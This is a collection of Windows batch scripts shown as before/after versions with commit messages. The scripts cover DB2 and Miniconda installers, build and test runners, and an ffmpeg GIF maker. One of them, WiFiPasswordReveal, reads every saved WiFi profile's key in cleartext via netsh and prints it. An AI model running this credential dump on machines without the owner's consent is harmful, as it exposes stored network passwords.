:: ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
:: POSSIBILITY OF SUCH DAMAGE.

:: Installs all scripts of the utility.
::
:: Version: 2014-02-14 1-RC
:: Author: Andres Gomez Casanova (AngocA)
:: Made in COLOMBIA.

:: Global variables
set continue=1
set adminInstall=1
set temporalTable=0
set v9_7=0
set retValue=0

:: Main call.
:: Checks if there is already a connection established
db2 connect > NUL
if %ERRORLEVEL% EQU 0 (
 call:init %1 %2 %3
) else (
 echo Please connect to a database before the execution of the installation.
 set retValue=2
)
exit /B %retValue%
goto:eof

:: Installs a given script in DB2.
:: It uses the continue global variable to stop the execution if an error occurs.
:installScript
 set script=%~1
 echo %script%
 db2 -tsf %script%
 if %ERRORLEVEL% NEQ 0 (
  set continue=0
 )
 set script=
goto:eof

:: Function that installs the utility for version 10.1.
:: DB2 v10.1
:v10.1
 echo Installing utility for v10.1
 if %adminInstall% EQU 1 (
  if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\00-AdminObjects.sql
 )
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\01-Tables.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\02-UtilityHeader.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\03-UtilityBody.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\04-Appenders.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\05-LOG.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\06-GET_LOGGER.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\07-Trigger.sql

 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\08-AdminHeader.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\09-AdminBody.sql

 cd %LOG4DB2_SRC_MAIN_CODE_PATH%
 cd ..
 cd xml
 if %continue% EQU 1 call:installScript 10-AppendersXML.sql
 cd ..
 cd scripts 2> NUL

 :: Temporal capabilities for tables.
 if %temporalTable% EQU 1 if %continue% EQU 1 (
  echo Create table for Time Travel
  call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\11-TablesTimeTravel.sql
 )

 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\12-Version.sql
goto:eof

:: Function that install the utility for version 9.7.
:: DB2 v9.7
:v9.7
 echo Installing utility for v9.7
 if %adminInstall% EQU 1 (
  if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\00-AdminObjects.sql
 )
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\01-Tables_v9_7.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\02-UtilityHeader.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\03-UtilityBody.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\04-Appenders.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\05-LOG.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\06-GET_LOGGER_v9_7.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\07-Trigger.sql

 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\08-AdminHeader.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\09-AdminBody.sql

 cd %LOG4DB2_SRC_MAIN_CODE_PATH%
 cd ..
 cd xml
 if %continue% EQU 1 call:installScript 10-AppendersXML.sql
 cd ..
 cd scripts 2> NUL

 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\12-Version.sql
goto:eof

:: This function checks all parameters and assign them to global variables.
:checkParam
 set param1=%1
 set param2=%2
 set param3=%3
 if /I "%param1%" == "-A" (
  set adminInstall=0
 )
 if /I "%param2%" == "-A" (
  set adminInstall=0
 )
 if /I "%param3%" == "-A" (
  set adminInstall=0
 )
 if /I "%param1%" == "-t" (
  set temporalTable=1
 )
 if /I "%param2%" == "-t" (
  set temporalTable=1
 )
 if /I "%param3%" == "-t" (
  set temporalTable=1
 )
 if /I "%param1%" == "-v9_7" (
  set v9_7=1
 )
 if /I "%param2%" == "-v9_7" (
  set v9_7=1
 )
 if /I "%param3%" == "-v9_7" (
  set v9_7=1
 )
 set param1=
 set param2=
 set param3=
goto:eof

:: Main function that starts the installation.
:init
 :: Initialize the environment.
 if EXIST init.bat (
  call init.bat
 )

 echo log4db2 is licensed under the terms of the Simplified-BSD license

 :: Check the given parameters.
 call:checkParam %1 %2 %3

 :: Checks in which DB2 version the utility will be installed.
 :: DB2 v10.1 is the default version.
 if %v9_7% EQU 1 (
  call:v9.7
 ) else (
  call:v10.1
 )

 echo Please visit the wiki to learn how to use and configure this utility
 echo https://github.com/angoca/log4db2/wiki
 echo To report an issue or provide feedback, please visit:
 echo https://github.com/angoca/log4db2/issues
 echo.
 if %continue% EQU 1 (
  echo log4db2 was successfully installed
  db2 -x "values 'Database: ' || current server"
  db2 -x "values 'Version: ' || logger.version"
  db2 -x "select 'Schema: ' || base_moduleschema from syscat.modules where moduleschema = 'SYSPUBLIC' and modulename = 'LOGGER'"
 retValue=0
 ) else (
  echo "Check the error(s) and reinstall the utility"
 retValue=1
 )

 :: Clean environment.
 set v9_7=
 set adminInstall=
 set temporalTable=
 if EXIST uninit.bat (
  call uninit.bat
 )
goto:eof

@echo off
:: Copyright (c) 2012 - 2014, Andres Gomez Casanova (AngocA)
:: All rights reserved.
::
:: Redistribution and use in source and binary forms, with or without
:: modification, are permitted provided that the following conditions are met:
::
:: 1. Redistributions of source code must retain the above copyright notice,
::    this list of conditions and the following disclaimer.
:: 2. Redistributions in binary form must reproduce the above copyright notice,
::    this list of conditions and the following disclaimer in the documentation
::    and/or other materials provided with the distribution.
::
:: THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
:: AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
:: IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
:: ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
:: LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
:: CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
:: SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
:: INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
:: CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
:: ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
:: POSSIBILITY OF SUCH DAMAGE.

:: Installs all scripts of the utility.
::
:: Version: 2014-02-14 1-RC
:: Author: Andres Gomez Casanova (AngocA)
:: Made in COLOMBIA.

:: Global variables
set continue=1
set adminInstall=1
set temporalTable=0
set v9_7=0
set retValue=0

:: Main call.
:: Checks if there is already a connection established
db2 connect > NUL
if %ERRORLEVEL% EQU 0 (
 call:init %1 %2 %3
) else (
 echo Please connect to a database before the execution of the installation.
 set retValue=2
)
exit /B %retValue%
goto:eof

:: Installs a given script in DB2.
:: It uses the continue global variable to stop the execution if an error occurs.
:installScript
 set script=%~1
 echo %script%
 db2 -tsf %script%
 if %ERRORLEVEL% NEQ 0 (
  set continue=0
 )
 set script=
goto:eof

:: Function that installs the utility for version 10.1.
:: DB2 v10.1
:v10.1
 echo Installing utility for v10.1
 if %adminInstall% EQU 1 (
  if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\00-AdminObjects.sql
 )
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\01-Tables.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\02-UtilityHeader.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\03-UtilityBody.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\04-Appenders.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\05-LOG.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\06-GET_LOGGER.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\07-Trigger.sql

 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\08-AdminHeader.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\09-AdminBody.sql

 cd %LOG4DB2_SRC_MAIN_CODE_PATH%
 cd ..
 cd xml
 if %continue% EQU 1 call:installScript 10-AppendersXML.sql
 cd ..
 cd scripts 2> NUL

 :: Temporal capabilities for tables.
 if %temporalTable% EQU 1 if %continue% EQU 1 (
  echo Create table for Time Travel
  call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\11-TablesTimeTravel.sql
 )

 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\12-Version.sql
goto:eof

:: Function that install the utility for version 9.7.
:: DB2 v9.7
:v9.7
 echo Installing utility for v9.7
 if %adminInstall% EQU 1 (
  if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\00-AdminObjects.sql
 )
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\01-Tables_v9_7.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\02-UtilityHeader.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\03-UtilityBody.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\04-Appenders.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\05-LOG.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\06-GET_LOGGER_v9_7.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\07-Trigger.sql

 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\08-AdminHeader.sql
 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\09-AdminBody.sql

 cd %LOG4DB2_SRC_MAIN_CODE_PATH%
 cd ..
 cd xml
 if %continue% EQU 1 call:installScript 10-AppendersXML.sql
 cd ..
 cd scripts 2> NUL

 if %continue% EQU 1 call:installScript %LOG4DB2_SRC_MAIN_CODE_PATH%\12-Version.sql
goto:eof

:: This function checks all parameters and assign them to global variables.
:checkParam
 set param1=%1
 set param2=%2
 set param3=%3
 if /I "%param1%" == "-A" (
  set adminInstall=0
 )
 if /I "%param2%" == "-A" (
  set adminInstall=0
 )
 if /I "%param3%" == "-A" (
  set adminInstall=0
 )
 if /I "%param1%" == "-t" (
  set temporalTable=1
 )
 if /I "%param2%" == "-t" (
  set temporalTable=1
 )
 if /I "%param3%" == "-t" (
  set temporalTable=1
 )
 if /I "%param1%" == "-v9_7" (
  set v9_7=1
 )
 if /I "%param2%" == "-v9_7" (
  set v9_7=1
 )
 if /I "%param3%" == "-v9_7" (
  set v9_7=1
 )
 set param1=
 set param2=
 set param3=
goto:eof

:: Main function that starts the installation.
:init
 :: Initialize the environment.
 if EXIST init.bat (
  call init.bat
 )

 echo log4db2 is licensed under the terms of the Simplified-BSD license

 :: Check the given parameters.
 call:checkParam %1 %2 %3

 :: Checks in which DB2 version the utility will be installed.
 :: DB2 v10.1 is the default version.
 if %v9_7% EQU 1 (
  call:v9.7
 ) else (
  call:v10.1
 )

 echo Please visit the wiki to learn how to use and configure this utility
 echo https://github.com/angoca/log4db2/wiki
 echo To report an issue or provide feedback, please visit:
 echo https://github.com/angoca/log4db2/issues
 echo.
 if %continue% EQU 1 (
  echo log4db2 was successfully installed
  db2 -x "values 'Database: ' || current server"
  db2 -x "values 'Version: ' || logger.version"
  db2 -x "select 'Schema: ' || base_moduleschema from syscat.modules where moduleschema = 'SYSPUBLIC' and modulename = 'LOGGER'"
 set retValue=0
 ) else (
  echo "Check the error(s) and reinstall the utility"
 set retValue=1
 )

 :: Clean environment.
 set v9_7=
 set adminInstall=
 set temporalTable=
 if EXIST uninit.bat (
  call uninit.bat
 )
goto:eof

Set var

Set var


echo ON

if "%CONDA_VERSION%"=="" set CONDA_VERSION=2
if "%CONDA_DIR%"=="" set CONDA_DIR=%USERPROFILE%\Miniconda%CONDA_VERSION%

if "%PLATFORM%"=="" set PLATFORM=%PROCESSOR_ARCHITECTURE%
if not "%PLATFORM%"=="x86" set PLATFORM=x86_64

where curl
if errorlevel 1 (
    if not exist Miniconda%CONDA_VERSION%-latest-Windows-%PLATFORM%.exe (
        echo "You must first install the cURL program or download manually the Miniconda!CONDA_VERSION!-latest-Windows-!PLATFORM!.exe file"
        echo "User installation failed."
        exit 1
    )
)

if "%BATCH_MODE%"=="" set BATCH_MODE=false

if not exist %CONDA_DIR% (
    if exist Miniconda%CONDA_VERSION%-latest-Windows-%PLATFORM%.exe (
        set CLEAN_MINICONDA=0
    ) else (
        curl https://repo.continuum.io/miniconda/Miniconda!CONDA_VERSION!-latest-Windows-!PLATFORM!.exe -o miniconda.exe
        set CLEAN_MINICONDA=1
    )
    if errorlevel 1 (
        echo "Download of the Miniconda"!CONDA_VERSION!"-latest-Windows-"!PLATFORM!".exe file failed"
        echo "User installation failed."
        exit 1
    )
    if "%BATCH_MODE%"=="true" (
        start /wait "" miniconda.exe /InstallationType=JustMe /RegisterPython=0 /S /D=!CONDA_DIR!
    ) else (
        start /wait "" miniconda.exe /InstallationType=JustMe /RegisterPython=0 /D=!CONDA_DIR!
    )
    if errorlevel 1 (
        echo "Execution of the Miniconda"!CONDA_VERSION!"-latest-Windows-"!PLATFORM!".exe file failed"
        echo "User installation failed."
        exit 1
    )
    if "%CLEAN_MINICONDA%"=="1" del miniconda.exe
)

attrib +h %CONDA_DIR%
if errorlevel 1 echo "Failed to hide the "%CONDA_DIR%" directory"

set PATH=%CONDA_DIR%;%CONDA_DIR%\Scripts;%PATH%
call %CONDA_DIR%\Scripts\activate.bat root
if errorlevel 1 (
    echo "Activation of Conda failed"
    echo "User installation failed."
    exit 1
)

if "%CONDA_ALWAYS_YES%"=="" set CONDA_ALWAYS_YES=no
if "%CONDA_CHANGE_PS1%"=="" set CONDA_CHANGE_PS1=yes

conda config --set always_yes %CONDA_ALWAYS_YES%
if errorlevel 1 (
    echo "Configuration of Conda failed"
    echo "User installation failed."
    exit 1
)
conda config --set changeps1 %CONDA_CHANGE_PS1%
if errorlevel 1 (
    echo "Configuration of Conda failed"
    echo "User installation failed."
    exit 1
)
conda update -q conda -y
if errorlevel 1 (
    echo "Update of Conda failed"
    echo "User installation failed."
    exit 1
)

echo "User installation succeded."

echo OFF

echo OFF

if "%CONDA_VERSION%"=="" set CONDA_VERSION=2
if "%CONDA_DIR%"=="" set CONDA_DIR=%USERPROFILE%\Miniconda%CONDA_VERSION%

if "%PLATFORM%"=="" set PLATFORM=%PROCESSOR_ARCHITECTURE%
if not "%PLATFORM%"=="x86" set PLATFORM=x86_64

where curl
if errorlevel 1 (
    if not exist Miniconda%CONDA_VERSION%-latest-Windows-%PLATFORM%.exe (
        echo "You must first install the cURL program or download manually the Miniconda!CONDA_VERSION!-latest-Windows-!PLATFORM!.exe file"
        echo "User installation failed."
        exit 1
    )
)

if "%BATCH_MODE%"=="" set BATCH_MODE=false

if not exist %CONDA_DIR% (
    if exist Miniconda%CONDA_VERSION%-latest-Windows-%PLATFORM%.exe (
        set CLEAN_MINICONDA=0
    ) else (
        curl https://repo.continuum.io/miniconda/Miniconda!CONDA_VERSION!-latest-Windows-!PLATFORM!.exe -o miniconda.exe
        set CLEAN_MINICONDA=1
    )
    if errorlevel 1 (
        echo "Download of the Miniconda"!CONDA_VERSION!"-latest-Windows-"!PLATFORM!".exe file failed"
        echo "User installation failed."
        exit 1
    )
    if "%BATCH_MODE%"=="true" (
        start /wait "" miniconda.exe /InstallationType=JustMe /RegisterPython=0 /S /D=!CONDA_DIR!
    ) else (
        start /wait "" miniconda.exe /InstallationType=JustMe /RegisterPython=0 /D=!CONDA_DIR!
    )
    if errorlevel 1 (
        echo "Execution of the Miniconda"!CONDA_VERSION!"-latest-Windows-"!PLATFORM!".exe file failed"
        echo "User installation failed."
        exit 1
    )
    if "%CLEAN_MINICONDA%"=="1" del miniconda.exe
)

attrib +h %CONDA_DIR%
if errorlevel 1 echo "Failed to hide the "%CONDA_DIR%" directory"

set PATH=%CONDA_DIR%;%CONDA_DIR%\Scripts;%PATH%
call %CONDA_DIR%\Scripts\activate.bat root
if errorlevel 1 (
    echo "Activation of Conda failed"
    echo "User installation failed."
    exit 1
)

if "%CONDA_ALWAYS_YES%"=="" set CONDA_ALWAYS_YES=no
if "%CONDA_CHANGE_PS1%"=="" set CONDA_CHANGE_PS1=yes

conda config --set always_yes %CONDA_ALWAYS_YES%
if errorlevel 1 (
    echo "Configuration of Conda failed"
    echo "User installation failed."
    exit 1
)
conda config --set changeps1 %CONDA_CHANGE_PS1%
if errorlevel 1 (
    echo "Configuration of Conda failed"
    echo "User installation failed."
    exit 1
)
conda update -q conda -y
if errorlevel 1 (
    echo "Update of Conda failed"
    echo "User installation failed."
    exit 1
)

echo "User installation succeded."

echo OFF

Update user_install.bat

Update user_install.bat


@if "%SCM_TRACE_LEVEL%" NEQ "4" @echo off
"KuduSync.NET.exe" %*

fix #952 kudusync cmd honor SCM_TRACE_LEVEL


@echo off
if not defined Configuration set Configuration=Debug
if not defined NemerleBinPathRoot set NemerleBinPathRoot=%ProgramFiles%\Nemerle
if not defined Nemerle set Nemerle=%NemerleBinPathRoot%\Net-4.0
set RuntimeDllPath=%~dp0\..\N2\N2.Runtime\bin\%Configuration%
set N2CompilerDllPath=%~dp0\..\N2\N2.Compiler\bin\%Configuration%\Stage2

echo ---- POSITIVE TESTS ----
set TeamCityArgs=
if defined TEAMCITY_VERSION set TeamCityArgs=-team-city-test-suite:Nitra_Positive
set OutDir=%~dp0\Bin\%Configuration%\Positive
set Tests=%~dp0\!Positive
call :runtests

echo ---- NEGATIVE TESTS ----
set TeamCityArgs=
if defined TEAMCITY_VERSION set TeamCityArgs=-team-city-test-suite:Nitra_Negative
set OutDir=%~dp0\Bin\%Configuration%\Negative
set Tests=%~dp0\!Negative
call :runtests

pause

goto :eof

:runtests
rmdir %OutDir% /S /Q
mkdir %OutDir%
copy %~dp0\..\Grammars\Bin\%Configuration%\*.* %OutDir% /B /Z 1>nul
pushd .
cd %OutDir%
%Nemerle%\Nemerle.Compiler.Test.exe %Tests%\*.n %Tests%\*.cs %Tests%\*.n2 -output:%OutDir% -ref:System.Core -ref:%RuntimeDllPath%\N2.Runtime.dll -macro:%N2CompilerDllPath%\N2.Compiler.dll %TeamCityArgs%
popd
goto :eof

@echo off
if not defined Configuration set Configuration=Debug
if not defined NemerleBinPathRoot set NemerleBinPathRoot="%ProgramFiles%\Nemerle"
if not defined Nemerle set Nemerle=%NemerleBinPathRoot%\Net-4.0
set RuntimeDllPath=%~dp0\..\N2\N2.Runtime\bin\%Configuration%
set N2CompilerDllPath=%~dp0\..\N2\N2.Compiler\bin\%Configuration%\Stage2

echo ---- POSITIVE TESTS ----
set TeamCityArgs=
if defined TEAMCITY_VERSION set TeamCityArgs=-team-city-test-suite:Nitra_Positive
set OutDir=%~dp0\Bin\%Configuration%\Positive
set Tests=%~dp0\!Positive
call :runtests

echo ---- NEGATIVE TESTS ----
set TeamCityArgs=
if defined TEAMCITY_VERSION set TeamCityArgs=-team-city-test-suite:Nitra_Negative
set OutDir=%~dp0\Bin\%Configuration%\Negative
set Tests=%~dp0\!Negative
call :runtests

pause

goto :eof

:runtests
rmdir %OutDir% /S /Q
mkdir %OutDir%
copy %~dp0\..\Grammars\Bin\%Configuration%\*.* %OutDir% /B /Z 1>nul
pushd .
cd %OutDir%
%Nemerle%\Nemerle.Compiler.Test.exe %Tests%\*.n %Tests%\*.cs %Tests%\*.n2 -output:%OutDir% -ref:System.Core -ref:%RuntimeDllPath%\N2.Runtime.dll -macro:%N2CompilerDllPath%\N2.Compiler.dll %TeamCityArgs%
popd
goto :eof

Fix run2.cmd

Fix run2.cmd


@echo off

::
:: (c) Elias Bachaalany <lallousz-x86@yahoo.com>
:: Batchography: The Art of Batch Files Programming
::

setlocal enabledelayedexpansion

:main
    title WiFiPasswordReveal v1.1 (c) lallouslab.net - The Batchography book

    echo.
    echo Reveal all saved WiFi passwords Batch file script v1.1 (c) lallouslab.net
    echo.
    echo Inspired by the book "Batchography: The Art of Batch Files Programming"
    echo.

    :: Default language is English
    set KEYCONTENT=Key Content
    set ALL_PROFILES=All User Profile

    ::
    :: Detect the language (1033 English ; 1034 Spanish ; 1036 French ; 1040 Italian)
    :: See https://technet.microsoft.com/en-us/library/cc287874(v=office.12).aspx
    ::

    for /F "usebackq tokens=*" %%a IN (`wmic os get OSLanguage /Value`) DO (
        set _line=%%a
        if "!_line:~0,10!"=="OSLanguage" (
            set lang_id=!_line:~11!
        )
    )

    if "%lang_id%"=="1033" (
        echo English operating system language detected!

    ) else if "%lang_id%" == "1034" (
        set KEYCONTENT=Contenido de la clave
        set ALL_PROFILES=Perfil de todos los usuarios
	    echo Spanish operating system language detected!

    ) else if "%lang_id%" == "1036" (
        set KEYCONTENT=Contenu de la cl
        set ALL_PROFILES=Profil Tous les utilisateurs
        echo French operating system language detected!

    ) else if "%lang_id%" == "1040" (
        set KEYCONTENT=Contenuto chiave
        set ALL_PROFILES=Tutti i profili utente
	    echo Italian operating system language detected!

    ) else (
        echo Warning: Unknown operating system language detected! The script might not work correctly!
    )

    echo.

    :: Get all the profiles
    call :get-profiles r

    :: For each profile, try to get the password
    :main-next-profile
        for /f "tokens=1* delims=," %%a in ("%r%") do (
            call :get-profile-key "%%a" key
            if "!key!" NEQ "" (
                echo WiFi: [%%a] Password: [!key!]
            )
            set r=%%b
        )
        if "%r%" NEQ "" goto main-next-profile

    echo.
    pause

    goto :eof

::
:: Get the WiFi key of a given profile
:get-profile-key <1=profile-name> <2=out-profile-key>
    setlocal

    set result=

    FOR /F "usebackq tokens=2 delims=:" %%a in (
        `netsh wlan show profile name^="%~1" key^=clear ^| findstr /C:"%KEYCONTENT%"`) DO (
        set result=%%a
        set result=!result:~1!
    )
    (
        endlocal
        set %2=%result%
    )

    goto :eof

::
:: Get all network profiles (comma separated) into the result result-variable
:get-profiles <1=result-variable>
    setlocal

    set result=

    FOR /F "usebackq tokens=2 delims=:" %%a in (
        `netsh wlan show profiles ^| findstr /C:"%ALL_PROFILES%"`) DO (
        set val=%%a
        set val=!val:~1!

        set result=%!val!,!result!
    )
    (
        endlocal
        set %1=%result:~0,-1%
    )

    goto :eof

@echo off

::
:: (c) Elias Bachaalany <lallousz-x86@yahoo.com>
:: Batchography: The Art of Batch Files Programming
::

setlocal enabledelayedexpansion

:main
    title WiFiPasswordReveal v1.1 (c) lallouslab.net - The Batchography book

    echo.
    echo Reveal all saved WiFi passwords Batch file script v1.1 (c) lallouslab.net
    echo.
    echo Inspired by the book "Batchography: The Art of Batch Files Programming"
    echo.

    :: Default language is English
    set KEYCONTENT=Key Content
    set ALL_PROFILES=All User Profile

    ::
    :: Detect the language (1033 English ; 1034 Spanish ; 1036 French ; 1040 Italian ; 1031 German)
    :: See https://technet.microsoft.com/en-us/library/cc287874(v=office.12).aspx
    ::

    for /F "usebackq tokens=*" %%a IN (`wmic os get OSLanguage /Value`) DO (
        set _line=%%a
        if "!_line:~0,10!"=="OSLanguage" (
            set lang_id=!_line:~11!
        )
    )

    if "%lang_id%"=="1033" (
        echo English operating system language detected!

    ) else if "%lang_id%" == "1034" (
        set KEYCONTENT=Contenido de la clave
        set ALL_PROFILES=Perfil de todos los usuarios
	    echo Spanish operating system language detected!
    ) else if "%lang_id%" == "1036" (
        set KEYCONTENT=Contenu de la cl
        set ALL_PROFILES=Profil Tous les utilisateurs
        echo French operating system language detected!
    ) else if "%lang_id%" == "1040" (
        set KEYCONTENT=Contenuto chiave
        set ALL_PROFILES=Tutti i profili utente
	    echo Italian operating system language detected!
    ) else if "%lang_id%" == "1031" (
        set KEYCONTENT=Schlüsselinhalt
        set ALL_PROFILES=Profil für alle Benutzer
        echo Deutsches OS erkannt!
    ) else (
        echo Warning: Unknown operating system language detected! The script might not work correctly!
    )

    echo.

    :: Get all the profiles
    call :get-profiles r

    :: For each profile, try to get the password
    :main-next-profile
        for /f "tokens=1* delims=," %%a in ("%r%") do (
            call :get-profile-key "%%a" key
            if "!key!" NEQ "" (
                echo WiFi: [%%a] Password: [!key!]
            )
            set r=%%b
        )
        if "%r%" NEQ "" goto main-next-profile

    echo.
    pause

    goto :eof

::
:: Get the WiFi key of a given profile
:get-profile-key <1=profile-name> <2=out-profile-key>
    setlocal

    set result=

    FOR /F "usebackq tokens=2 delims=:" %%a in (
        `netsh wlan show profile name^="%~1" key^=clear ^| findstr /C:"%KEYCONTENT%"`) DO (
        set result=%%a
        set result=!result:~1!
    )
    (
        endlocal
        set %2=%result%
    )

    goto :eof

::
:: Get all network profiles (comma separated) into the result result-variable
:get-profiles <1=result-variable>
    setlocal

    set result=

    FOR /F "usebackq tokens=2 delims=:" %%a in (
        `netsh wlan show profiles ^| findstr /C:"%ALL_PROFILES%"`) DO (
        set val=%%a
        set val=!val:~1!

        set result=%!val!,!result!
    )
    (
        endlocal
        set %1=%result:~0,-1%
    )

    goto :eof

Update WifiPasswordReveal-exp.bat

Update WifiPasswordReveal-exp.bat

Added German support. Thanks to PeterCodar @ GitHub


@echo off

cd /d "%~dp0"

if not [%1] equ [] goto make_gif

echo Please provide a video file name.
goto:eof

:make_gif
                    rem    GIF making information adapted from http://blog.pkh.me/p/21-high-quality-gif-with-ffmpeg.html

	                  rem    This assumes you want a GIF that's shorter than the entire video.
	                  rem    Start time is how many seconds into the video to wait before starting to record the GIF
	                  rem    Set it to zero if you want to start at the beginning of the video
  set start_time=4
	                  rem    duration sets how long the GIF will record.
                    rem    If start_time is set to 4 and duration set to 5 the GIF will record seconds 4 through 9 of the video
  set duration=5

	set "gif_folder=gifs"

	if not exist %gif_folder% mkdir %gif_folder%

  for %%f in (%1) do (
	  set "gif_name=%%~nf"
	)

	set gif_file="%gif_folder%\%gif_name%.gif"

  set palette="gifs\palette.png"
  set filters="fps=15,scale=480:-2:flags=lanczos"

	echo Creating GIF, please wait.

	                    rem    the stats_mode option can be either stats_mode=diff or stats_mode=full
	                    rem    stats_mode=full chooses colors that will optimize colors for the entire frame
                      rem    while stats_mode=diff optimizes colors to make the changes look good
  start /b /wait ffmpeg.exe -v warning -ss %start_time% -t %duration% -i %1 -vf "%filters%,palettegen=stats_mode=diff" -y %palette%
  start /b /wait ffmpeg.exe -v warning -ss %start_time% -t %duration% -i %1 -i %palette% -lavfi "%filters% [x]; [x][1:v] paletteuse" -y %gif_file%

	rm %palette%

@echo off

cd /d "%~dp0"

if not [%1] equ [] goto MAKE_GIF

  echo Please provide a video file name.
  goto:eof

:MAKE_GIF
                          rem    GIF making information adapted from http://blog.pkh.me/p/21-high-quality-gif-with-ffmpeg.html
  set start_time=0
  set duration=10
                          rem    Start time is how many seconds into the video to wait before starting to record the GIF
                          rem    Set it to zero if you want to start at the beginning of the video
                          rem    duration sets how long the GIF will record.
                          rem    If start_time is set to 4 and duration set to 5 the GIF will record seconds 4 through 9 of the video

  set "gif_folder=gifs"

  if not exist %gif_folder% mkdir %gif_folder%

  for %%f in (%1) do ( set "gif_name=%%~nf" )

  set gif_file="%gif_folder%\%gif_name%.gif"

  set palette="gifs\palette.png"
  set filters="fps=15,scale=480:-2:flags=lanczos"

  echo Creating GIF, please wait.

                          rem    the stats_mode option can be either stats_mode=diff or stats_mode=full
                          rem    stats_mode=full chooses colors that will optimize colors for the entire frame
                          rem    while stats_mode=diff optimizes colors to make the changes look good
  start /b /wait ffmpeg.exe -v warning -ss %start_time% -t %duration% -i %1 -vf "%filters%,palettegen=stats_mode=diff" -y %palette%
  start /b /wait ffmpeg.exe -v warning -ss %start_time% -t %duration% -i %1 -i %palette% -lavfi "%filters% [x]; [x][1:v] paletteuse" -y %gif_file%

  rm %palette%

Update video_to_gif.bat

Update video_to_gif.bat

somehow a bunch of tabs showed up in the code WHICH IS UNCOOL so I had to go fix that


mkdir build
cd build

set BUILD_CONFIG=Release

REM === Configure step ===

REM allow setting the targets to build as an environment variable
if "%LLVM_TARGETS_TO_BUILD%"=="" (
    set "LLVM_TARGETS_TO_BUILD=host;AMDGPU;NVPTX"
)
if "%ARCH%"=="32" (
    set "ARCH_POSTFIX="
) else (
    set "ARCH_POSTFIX= Win64"
)
set "CMAKE_GENERATOR[0]=Visual Studio 14 2015%ARCH_POSTFIX%"
set "CMAKE_GENERATOR[1]=Visual Studio 15 2017%ARCH_POSTFIX%"
